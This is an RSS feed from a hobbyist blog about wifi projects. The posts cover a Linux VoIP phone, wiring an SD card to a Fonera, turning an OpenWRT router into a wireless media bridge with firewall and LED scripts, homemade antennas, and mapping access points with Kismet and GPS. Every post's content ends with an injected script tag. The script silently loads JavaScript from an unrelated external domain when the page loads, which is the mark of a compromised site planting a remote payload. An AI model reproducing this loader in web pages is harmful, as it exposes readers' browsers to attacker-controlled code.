<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; Wifi</title>
	<atom:link href="http://www.larsen-b.com/tags/wifi/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>My New Cheap GSM / Voip wifi Phone (Twin v2)</title>
		<link>http://www.larsen-b.com/Article/263.html</link>
		<comments>http://www.larsen-b.com/Article/263.html#comments</comments>
		<pubDate>Sat, 02 Jun 2007 17:18:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[gsm]]></category>
		<category><![CDATA[voip]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Everybody have a mobile phone right now, and me too :) I just bought a nice little phone from my DSL provider. They offer a good deal for new users like me: Free phone when you call wired phone (or &#8230; <a href="http://www.larsen-b.com/Article/263.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Everybody have a mobile phone right now, and me too :) I just bought a nice little phone from my DSL provider. They offer a good deal for new users like me: Free phone when you call wired phone (or SIP) thought a Wifi connection, and pay at normal rate when you use the GSM bands. That&#8217;s fine for me cause, I just want to use a little, and the phone itself cost only 50Euros !!</p>
<p>The phone itself is pretty nice, use Linux (yes !! kernel 2.6.10 inside ) and can be hacked: <a class="reference" href="http://opentwin.org/">http://opentwin.org/</a></p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/twin1.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/twin1.sized.jpg" /><br />
<img src="http://jkx.larsen-b.com/photos/Electronic/twin2.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/twin2.sized.jpg" /></p>
<p>You can use it to surf quite well. Opera does a really good job, and you can even watch TV for free.. This phone is a good piece of stuff for the price.</p>
<p>Hum, I &#8216;m guessing you will see some new post about Asterisk or other fun stuff here soon ;)</p>
<p><strong>/Enjoy VoIP</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/263.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Fonera SD Card Hack</title>
		<link>http://www.larsen-b.com/Article/262.html</link>
		<comments>http://www.larsen-b.com/Article/262.html#comments</comments>
		<pubDate>Fri, 18 May 2007 17:22:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[fonera]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I read on several websites, that some people managed to wire a SD Card (or a MMC) to a Fonera access point. After a little googling, I discover this can be done easily, so I decided to test.. but I &#8230; <a href="http://www.larsen-b.com/Article/262.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I read on several websites, that some people managed to wire a SD Card (or a MMC) to a Fonera access point. After a little googling, I discover this can be done easily, so I decided to test.. but I run into one issue so I decided to describe the process here.</p>
<p>Here the finished result:</p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02577.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02577.sized.jpg" /></p>
<p>Let&#8217;s give it a try:</p>
<div class="section">
<h1><a id="solder-the-sd-card" name="solder-the-sd-card">Solder the SD Card</a></h1>
<p>The first step, is to locate the SW pins (near the antenna).. simply solder some wires like this:</p>
<pre class="literal-block">SD Car      -----    Fonera
DO  (pin 7)          SW1
CLK (pin 5)          SW2
DI  (pin 2)          SW5
CS  (pin 1)          SW6
Gnd (pin 3)          Gnd
Vcc (pin 4)          Vcc</pre>
<p>Here you can see the <a class="reference" href="http://pinouts.ru/Memory/sdcard_pinout.shtml">SD Card pinouts</a></p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02584_2.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02584_2.sized.jpg" /></p>
<p>You can solder the VCC, and Gnd on the serial pins.</p>
</div>
<div class="section">
<h1><a id="unsolder-the-caps" name="unsolder-the-caps">Unsolder the Caps</a></h1>
<p>In my first tests, I discovered the SD card is detected, so I checked the signals. And discover the clk isn&#8217;t really clear.. So I decided to remove the capacitor on the SPI bus. (C142, C143, C144, C145)</p>
<p><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02582.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02582.sized.jpg" /></p>
</div>
<div class="section">
<h1><a id="install-software-and-test" name="install-software-and-test">Install software and test</a></h1>
<p>Next we need to install the kernel module on OpenWRT. You can find it on the <a class="reference" href="http://phrozen.org/fonera.html">Phrozen</a> website . Simply ipkg install the file and it should be ok. Now, let&#8217;s try: insert a SD Card, and reboot, you should see something like this in your log.</p>
<pre class="literal-block">Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : MMC Driver for Fonera Version 2.5 (050507) -- '2B|!2B' (john@phrozen.org)
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : Card Found
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : card in op mode
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : SIZE : 241, nMUL : 6, COUNT : 1932, NAME : 256MB
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : Card Initialised
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : The inserted card has a capacity of 253231104 Bytes
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : adding disk
Jan  1 00:00:49 OpenWrt user.info kernel:  mmc1
Jan  1 00:00:49 OpenWrt user.warn kernel: mmc : Card was Found</pre>
<p>So now you can mount it:</p>
<pre class="literal-block">mount /dev/mmc0 /mnt</pre>
<p>This stuff, is working really well, I managed to have around 150Ko/s (reading) which is far enough for my needs. The only issue right now, is that you need to carefully umount the card before removing it, otherwise the fonera will crash.</p>
<p><strong>Enjoy Fonera ??</strong></p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/262.html/feed</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>Media Player (Dvico 3100) + Netgear WGT634U = Cheap Wifi Media Player</title>
		<link>http://www.larsen-b.com/Article/258.html</link>
		<comments>http://www.larsen-b.com/Article/258.html#comments</comments>
		<pubDate>Thu, 05 Apr 2007 21:10:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[dvico]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[rs232]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This year, for my birthday I have a very nice Media Player M3100. This stuff is really usefull, no need to use a noisy computer to watch recorded Divx. It&#8217;s pretty kool to watch films from beds you know.. The &#8230; <a href="http://www.larsen-b.com/Article/258.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This year, for my birthday I have a very nice Media Player <a class="reference" href="http://www.tvix.co.kr/eng/Products/M3100U.aspx">M3100</a>. This stuff is really usefull, no need to use a noisy computer to watch recorded Divx. It&#8217;s pretty kool to watch films from beds you know..</p>
<p>The only issue: I need to take it back to my computer when I want to upload a new film, that&#8217;s it .. When I first received this gift, I went back to the shop to exchange it against a networked one. But 1) they cost a lot more money, 2) not available at the shop. (even if it&#8217;s a really big one).</p>
<p>Last week, somebody sent me a mail. He found some cheap wireless access point with a USB port: Netgear <a class="reference" href="http://kbserver.netgear.com/products/WGT634U.asp">WGT634U</a>. (50Euro) Hum, ok let&#8217;s give it a try. First test, plug a Media Player to this USB port&#8230; ok It&#8217;s working fine. But you know, I don&#8217;t have a network cable near my bed, so I decided to transform the Access Point in a Wireless client. By this way, I can simply plug the Media Player on the WGT634U and remotely put some Divx via FTP, without any wire.</p>
<div id="step-1-install-openwrt" class="section">
<h1><a name="step-1-install-openwrt">Step 1 / Install OpenWRT</a></h1>
<p>The default firmware on the WGT634 doesn&#8217;t support wireless client mode (It&#8217;s a AP). So I switched it to <a class="reference" href="http://wiki.openwrt.org/OpenWrtDocs/Hardware/Netgear/WGT634U">OpenWRT</a> Kamikaze. I build the firmware from source, but the kamikaze snapshot shoud work too. I followed the OpenWRT guide step by step with a external serial plug. You can find the complete howto for the serial connection <a class="reference" href="http://members.shaw.ca/swstuff/wgt634u.html">here</a></p>
<pre class="literal-block"># hit Ctrl-C on the bootloader
CFE&gt; ifconfig eth0 -auto
CFE&gt; flash -noheader tftp_host:openwrt-wgt634u.bin flash0.os
CFE&gt; reboot</pre>
<p>The first boot is a bit long, but all is fine&#8230;</p>
</div>
<div id="step-2-install-tools" class="section">
<h1><a name="step-2-install-tools">Step 2  / Install tools</a></h1>
<p>Here the short list of needed tools:</p>
<ul class="simple">
<li>kmod-usb2</li>
<li>kmod-usb-storage</li>
<li>kmod-vfat</li>
<li>kmod-nls-base, kmod-nls-cp437, kmod-nls-iso8859-1</li>
<li>pure-ftpd</li>
</ul>
<p>with a simple ipkg install via the serial console</p>
</div>
<div id="step-3-configure-openwrt-in-wireless-client" class="section">
<h1><a name="step-3-configure-openwrt-in-wireless-client">Step 3 / Configure OpenWRT in wireless client</a></h1>
<p>This is really simple in kamikaze, only change some files:</p>
<p>The wireless config file need to be tweaked, as I want it to join my MyDummySSID network</p>
<p><em>/etc/config/wireless</em></p>
<pre class="literal-block">config wifi-iface
option device   wifi0
option network  lan
option mode     sta
option ssid     MyDummySSID
option hidden   0
option encryption none</pre>
<p>Let&#8217;s go for the network config: MyDummySSID Access Point is 192.168.3.0/24, gateway in 3.1 and local DNS server is 1.254</p>
<p><em>/etc/config/network</em></p>
<pre class="literal-block">#### LAN configuration
config interface lan
option type     bridge
option ifname   "eth0.0"
option proto    'static'
option ipaddr   '192.168.3.2'
option netmask  '255.255.255.0'
option gateway  '192.168.3.1'
option dns      '192.168.1.254'</pre>
<p>First test: <em>ifdown wan</em> (switch off network) / <em>ifdown br-lan</em> / <em>ifup br-lan</em></p>
</div>
<div id="step-4-firewall" class="section">
<h1><a name="step-4-firewall">Step 4 / Firewall</a></h1>
<p>Ok that&#8217;s fine, but I want to restrict the access to my local network only.. so I need to hack the firewall a little to avoid remote access from other wireless clients (my wireless network is open you know..). Simply linked this little script in /etc/rc.d/</p>
<p><em>/opt/ftp-firewall</em></p>
<pre class="literal-block">#!/bin/sh

# clear all firewall rules
for T in filter nat mangle ; do
iptables -t $T -F
iptables -t $T -X
done

# drop incomming packet
iptables -P FORWARD ACCEPT
iptables -P OUTPUT  ACCEPT
iptables -P INPUT   DROP

# accept traffic on localhost
iptables -A INPUT -p tcp -i lo -j ACCEPT
iptables -A INPUT -p udp -i lo -j ACCEPT

# accept ftp only from my home network
iptables -A INPUT -s 192.168.1.0/24 -p tcp -i br-lan --dport 21 -j ACCEPT

# accept incoming http / ssh
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# finaly accept already open Cnx
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT</pre>
</div>
<div id="step-5-misc" class="section">
<h1><a name="step-5-misc">Step 5 / Misc</a></h1>
<p>After some tests, I discover that I need a way to know if the WGT634U managed to join the wireless network or no. So I added this little script, that check for the wireless BSSID, and turn the power led in yellow if something goes wrong .. this is really usefull in fact.</p>
<p><em>/opt/led-daemon</em></p>
<pre class="literal-block">#!/bin/sh

while true
do
{
STATE=$(iwconfig ath0 |grep  00:13:13:53:DA:D1 | wc -l)
[ $STATE -eq 1 ] &amp;&amp; echo 0 &gt; /proc/diag/led/power
[ $STATE -eq 0 ] &amp;&amp; echo 1 &gt; /proc/diag/led/power
sleep 20
}
done</pre>
<p>Foo</p>
</div>
<div id="step-6-finally" class="section">
<h1><a name="step-6-finally">Step 6 / Finally</a></h1>
<p>Here the result:</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02573.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02573.sized.jpg" /></div>
<p>The finished product (grrr) works really fine and managed to achieve something like 850Ko/sec, I mean full speed ;) (11Mbs network) I need to remove the serial port right now, and close the box..</p>
<p><strong>Important update</strong></p>
<p>I read on Engadget that I use this to stream video to my TV, (like the Apple TV do), but this is absolutely wrong. This media player has a <strong>320Go hard-drive</strong>. Why would stream film on this ? I just put it on that&#8217;s it :)</p>
<p>This is really amazing how people doesn&#8217;t read the article to see what I&#8217;ve done. It&#8217;s not the first time this happen in fact.</p>
<p>Here in France, most advanded users have some network TV from a long time, and this little boxes can play network stream (like the Apple TV) for a long time now. Beside you don&#8217;t pay for this service (rent for the boxes are included in DSL bill), the only issue is that you must have another computer to stream.</p>
<p>I guess nobody here (in France) would by a Apple TV, since we already have this kind of products for free for a long time. Look at a <a class="reference" href="http://fr.wikipedia.org/wiki/Freebox">Freebox</a> for example.</p>
<p><strong>It&#8217;s time to watch a film :)</strong></p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/258.html/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>AMOS wifi homemade antenna (Second Ed)</title>
		<link>http://www.larsen-b.com/Article/226.html</link>
		<comments>http://www.larsen-b.com/Article/226.html#comments</comments>
		<pubDate>Mon, 05 Jun 2006 20:53:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Antennas]]></category>
		<category><![CDATA[antenna]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I already done a AMOS Antenna before but I need to build another one. A bit more robust. I decided to use a N connector, a bit of plumbing.. and here is the result: This stuff, is quite robust right &#8230; <a href="http://www.larsen-b.com/Article/226.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I already done a AMOS Antenna <a class="reference" href="http://www.larsen-b.com/Article/209.html">before</a> but I need to build another one. A bit more robust. I decided to use a N connector, a bit of plumbing.. and here is the result:</p>
<div class="image"><img src="http://www.brest-wireless.net/albums/AntenneAmos/DSC02211.sized.jpg" alt="http://www.brest-wireless.net/albums/AntenneAmos/DSC02211.sized.jpg" /></div>
<div class="image"><img src="http://www.brest-wireless.net/albums/AntenneAmos/DSC02214.sized.jpg" alt="http://www.brest-wireless.net/albums/AntenneAmos/DSC02214.sized.jpg" /></div>
<p>This stuff, is quite robust right now ;) .. and still have a great gain.</p>
<p>Please note that there is some new AMOS antenna design ;)</p>
<p>Check out <a class="reference" href="http://yu1aw.ba-karlsruhe.de/vhf_ant.htm">http://yu1aw.ba-karlsruhe.de/vhf_ant.htm</a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/226.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kismet + GPSDrive + MySQL + Python = Google Earth Wlan Map</title>
		<link>http://www.larsen-b.com/Article/212.html</link>
		<comments>http://www.larsen-b.com/Article/212.html#comments</comments>
		<pubDate>Thu, 18 Aug 2005 13:49:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[google earth]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Last week I decided to build a map of the wireless access point in the Town. It is not really easy to find the right tools, so I decided to write this little Howto. To archive this goal you need &#8230; <a href="http://www.larsen-b.com/Article/212.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Last week I decided to build a map of the wireless access point in the Town. It is not really easy to find the right tools, so I decided to write this little Howto.</p>
<p>To archive this goal you need severals tools:</p>
<div id="kismet" class="section">
<h1><a name="kismet">Kismet</a></h1>
<p>First install <a class="reference" href="http://www.kismetwireless.net/">Kismet</a>. You need a wireless card that support RFMon in monitor mode. I think <a class="reference" href="http://madwifi.sourceforge.net/">Madwifi</a> cards, and patched <a class="reference" href="http://www.kismetwireless.net/documentation.shtml">Orinoco</a> are the only ones that support this.</p>
<p>Launch Kismet, and now check for a given AP that kismet know the best level..</p>
<p>If everything is ok, edit the kismet config file and set <em>gps=try</em></p>
</div>
<div id="gpsdrive" class="section">
<h1><a name="gpsdrive">GPSDrive</a></h1>
<p>Download and install the latest CVS version of <a class="reference" href="#gpsdrive">GPSDrive</a> (I have some issues with the latest tgz and kismet). The next step is to have a GPS working with gpsd. Most GPS will work, I bought a cheap one with a USB cord on ebay.</p>
<p>Simply launch gpsd, and after gpsdrive. You should see the reception level in <a class="reference" href="#gpsdrive">GPSDrive</a>.</p>
<p><!-- GPSDrive: http://gpsdrive.kraftvoll.at/ --></p>
</div>
<div id="mysql" class="section">
<h1><a name="mysql">MySQL</a></h1>
<p>To use Kismet + GPSDrive, you need to have a MySQL database. In fact GPSDrive will ask to kismet the new APs, and dump this informations in a MySQL db. You can find the create.sql in <a class="reference" href="#gpsdrive">GPSDrive</a> sources.</p>
<pre class="literal-block">mysql -u root -p &lt; ./create.sql</pre>
<p>This will add a user : gast / gast</p>
</div>
<div id="first-try" class="section">
<h1><a name="first-try">First try</a></h1>
<p>Ok, now launch <a class="reference" href="#gpsdrive">GPSDrive</a> and set the &#8216;use SQL&#8217; (or edit the config file), and quit.</p>
<p>Now to start the whole stuff:</p>
<ul class="simple">
<li>Plug the wireless antenna (this is better for wardriving ;)</li>
<li>Plug the GPS</li>
<li>Launch gpsd (be carefull to have enought satellite in view)</li>
<li>Launch <a class="reference" href="http://www.kismetwireless.net/">Kismet</a> (it should tell you, it find the GPS&#8230;)</li>
<li>Launch <a class="reference" href="#gpsdrive">GPSDrive</a> (it should display a little kismet logo on bottom)</li>
<li>Now, you&#8217;re ready to go, walk down the street you should see new APs on the <a class="reference" href="#gpsdrive">GPSDrive</a> map.</li>
</ul>
<div class="image"><img src="http://www.brest-wireless.net/albums/Misc/full_gpsdrive.sized.jpg" alt="http://www.brest-wireless.net/albums/Misc/full_gpsdrive.sized.jpg" /></div>
</div>
<div id="after-the-trip-google-earth" class="section">
<h1><a name="after-the-trip-google-earth">After the trip: Google Earth</a></h1>
<p>Ok, now you have a lot of points in your database.. And GPSDrive have a little troubles to display them.. After a little time, i decided to install <a class="reference" href="http://earth.google.com/">Google Earth</a>, and look at the way to add new points on the map..</p>
<p>This, is quite simple, all i need to do is to extract data form the SQL, and build a xml file that contain all the points. I decided to write <a class="reference" href="http://svn.pythonfr.org/public/pythonfr/utils/misc/gpsdriveToGoogleEarth.py">gpsdriveToGoogleEarth.py</a>. This quick and dirty script will generate a file &#8216;ap.kml&#8217;. Now simply launch Google Earth and open this file. You will see something like this:</p>
<div class="image"><img src="http://www.brest-wireless.net/albums/Misc/google_earth.sized.jpg" alt="http://www.brest-wireless.net/albums/Misc/google_earth.sized.jpg" /></div>
<p>The main issue for me, is that <a class="reference" href="http://earth.google.com/">Google Earth</a> doesn&#8217;t support Linux right now so I need to dual-boot.. But this provide a easy way to build the card without too much pain. And i can share the Google Earth file others guys simply.</p>
</div>
<div id="warning" class="section">
<h1><a name="warning">WARNING</a></h1>
<p>I do this only for the fun, so don&#8217;t try to hack wireless access point using this howto, this is not the goal !</p>
<p>&#8211; Enjoy</p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/212.html/feed</wfw:commentRss>
		<slash:comments>38</slash:comments>
		</item>
		<item>
		<title>Howto to patch a wireless card to add a connector</title>
		<link>http://www.larsen-b.com/Article/211.html</link>
		<comments>http://www.larsen-b.com/Article/211.html#comments</comments>
		<pubDate>Fri, 22 Jul 2005 14:58:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Antennas]]></category>
		<category><![CDATA[antenna]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[pcmcia]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I spend a little time to write an article on the Brest Wireless website about various hack to add a connector to a PCMCIA, or USB card. You can find it out here a PCMCIA: a USB one: &#8211; Enjoy &#8230; <a href="http://www.larsen-b.com/Article/211.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I spend a little time to write an article on the Brest Wireless website about various hack to add a connector to a PCMCIA, or USB card.</p>
<p>You can find it out <a class="reference" href="http://www.brest-wireless.net/wiki/materiel:ajout_pigtail">here</a></p>
<p>a PCMCIA:</p>
<div class="image"><img src="http://www.brest-wireless.net/albums/AntenneDivers/dsc01302.sized.jpg" alt="http://www.brest-wireless.net/albums/AntenneDivers/dsc01302.sized.jpg" /></div>
<p>a USB one:</p>
<div class="image"><img src="http://www.brest-wireless.net/albums/AntenneDivers/dsc01383.sized.jpg" alt="http://www.brest-wireless.net/albums/AntenneDivers/dsc01383.sized.jpg" /></div>
<p>&#8211; Enjoy :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/211.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>AMOS wifi homemade antenna</title>
		<link>http://www.larsen-b.com/Article/209.html</link>
		<comments>http://www.larsen-b.com/Article/209.html#comments</comments>
		<pubDate>Thu, 07 Jul 2005 08:32:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Antennas]]></category>
		<category><![CDATA[antenna]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This is perhaps one of my best homemade antenna. I found the original design here: http://yu1aw.ba-karlsruhe.de/Amos.pdf You can find my construction guide on Brest Wireless website at http://www.brest-wireless.net/wiki/materiel:amos My conclusion: First: Take care of this antenna, I broke the first &#8230; <a href="http://www.larsen-b.com/Article/209.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>This is perhaps one of my best homemade antenna.</p>
<div class="image"><img src="http://www.brest-wireless.net/albums/AntenneAmos/amos05.sized.jpg" alt="http://www.brest-wireless.net/albums/AntenneAmos/amos05.sized.jpg" /></div>
<div class="image"><img src="http://www.brest-wireless.net/albums/AntenneAmos/amos06.sized.jpg" alt="http://www.brest-wireless.net/albums/AntenneAmos/amos06.sized.jpg" /></div>
<p>I found the original design here: <a class="reference" href="http://yu1aw.ba-karlsruhe.de/Amos.pdf">http://yu1aw.ba-karlsruhe.de/Amos.pdf</a></p>
<p>You can find my construction guide on Brest Wireless website at<br />
<a class="reference" href="http://www.brest-wireless.net/wiki/materiel:amos">http://www.brest-wireless.net/wiki/materiel:amos</a></p>
<div id="my-conclusion" class="section">
<h1><a name="my-conclusion">My conclusion:</a></h1>
<p>First:</p>
<ul class="simple">
<li>Take care of this antenna, I broke the first balun while testing :(</li>
<li>and the balun is the hardest part to do</li>
</ul>
<p>Tests :</p>
<ul class="simple">
<li>13db of gain</li>
<li>and a really big beam 120° !</li>
<li>the &#8220;hot spot&#8221; of this antenna is in the middle instead what we usually see in<br />
omnidirectionnal. So the best height for this antenna is the same as computer.<br />
And this is a good news.</li>
</ul>
<p>I usually use a biquad antenna inside my appartement, because my AP is in one corner. Biquad (or patch) offer a performance boost compare to a omnidirectionnal antenna (tested with a 8db doradus). This is mainly due to the  reflections with the walls of the room inducted by the omni.</p>
<p>But I need to say that AMOS antenna beat all antennas I tested before in this indoor conditions. It has a larger beam (120°) and a strong front / rear insolation.</p>
<p>The AMOS antenna offer the best parts of the pach / quad and omnidirectionnal antennas for indoor. But take care that vertical angle is not really large so it will perhaps not work for a entire flat :).</p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/209.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Extract GPS from Kismet log with ElementTree</title>
		<link>http://www.larsen-b.com/Article/204.html</link>
		<comments>http://www.larsen-b.com/Article/204.html#comments</comments>
		<pubDate>Mon, 23 May 2005 21:58:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[kismet]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I have read a lot of noise about ElementTree but never really used it. Tonight i need to extract a bunch of GPS data from a kismet log file. Let&#8217;s give it a try from elementtree import ElementTree data = &#8230; <a href="http://www.larsen-b.com/Article/204.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I have read a lot of noise about <a class="reference" href="http://effbot.org/zone/element-index.htm">ElementTree</a> but never really used it. Tonight i need to extract a bunch of GPS data from a kismet log file. Let&#8217;s give it a try</p>
<pre class="literal-block">from elementtree import ElementTree

data = open('Kismet-May-22-2005-4.xml','r').read()

detection = ElementTree.XML(data)

for node in detection.getchildren():
try:
print "SSID: " + node.find('SSID').text,
except AttributeError:pass  #hidden SSID
print "BSSID: " +  node.find('BSSID').text,
gps = node.find('gps-info')
print "Lon: " + gps.find('max-lon').text +  " Lat: "  + gps.find('max-lat').text</pre>
<p>Really simple, and seems to offer really good speed. I now have another weapon for every day work.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/204.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>biQuad (and double biQuad) homemade wifi Antenna: 14db !</title>
		<link>http://www.larsen-b.com/Article/201.html</link>
		<comments>http://www.larsen-b.com/Article/201.html#comments</comments>
		<pubDate>Mon, 18 Apr 2005 22:05:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Antennas]]></category>
		<category><![CDATA[antenna]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[After the omnidirectionnal antennas, and the can-antenna, here comes the new one: This is a biQuad, and a double-biQuad antenna. You can find the construction guide (in Fr) here. As usuall the photos is in the Brest-Wireless gallery The small &#8230; <a href="http://www.larsen-b.com/Article/201.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>After the <a class="reference" href="http://www.larsen-b.com/Article/195.html">omnidirectionnal</a> antennas, and the <a class="reference" href="http://www.larsen-b.com/Article/199.html">can-antenna</a>, here comes the new one:</p>
